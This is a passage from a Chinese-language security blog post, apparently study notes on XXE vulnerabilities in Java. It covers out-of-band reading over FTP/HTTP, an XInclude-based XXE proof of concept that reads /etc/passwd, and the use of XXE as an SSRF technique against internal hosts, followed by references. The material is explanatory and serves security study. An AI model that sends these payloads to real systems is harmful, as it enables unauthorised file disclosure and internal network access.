1.8.0_181# ?% & ‘/

可能还有其他的字符和其他的Java版本没有测试。不过我猜测,自从Java 1.8的某个版本起,就不能读取换行。至于是那个版本开始,就不具体测试了,大家知道这个特性就好 -)

也可以把FTP换成HTTP协议,更加直观

3.支持的Xinclude的XXE

POC

<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>

详情可以查看浅析xml之xinclude & xslt

各平台支持协议如下:

我们刚刚都只是做了一件事,那就是通过 file 协议读取本地文件,或者是通过 http 协议发出请求,熟悉 SSRF 的童鞋应该很快反应过来,这其实非常类似于 SSRF ,因为他们都能从服务器向另一台服务器发起请求,那么我们如果将远程服务器的地址换成某个内网的地址,(比如 192.168.0.10:8080)是不是也能实现 SSRF 同样的效果呢?没错,XXE 其实也是一种 SSRF 的攻击手法,因为 SSRF 其实只是一种攻击模式,利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。

所以要想更进一步的利用我们不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议:

image-20211027165310121

image-20211027165310121

  1. JAVA常见的XXE漏洞写法和防御
  2. Java-XXE-总结
  3. Java_XXE_漏洞

0x03 参考

https://github-wiki-see.page/m/JoyChou93/java-sec-code/wiki/

https://shangzeng.club/2020/12/14/JavaSecCode%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#CRLF%E6%B3%A8%E5%85%A5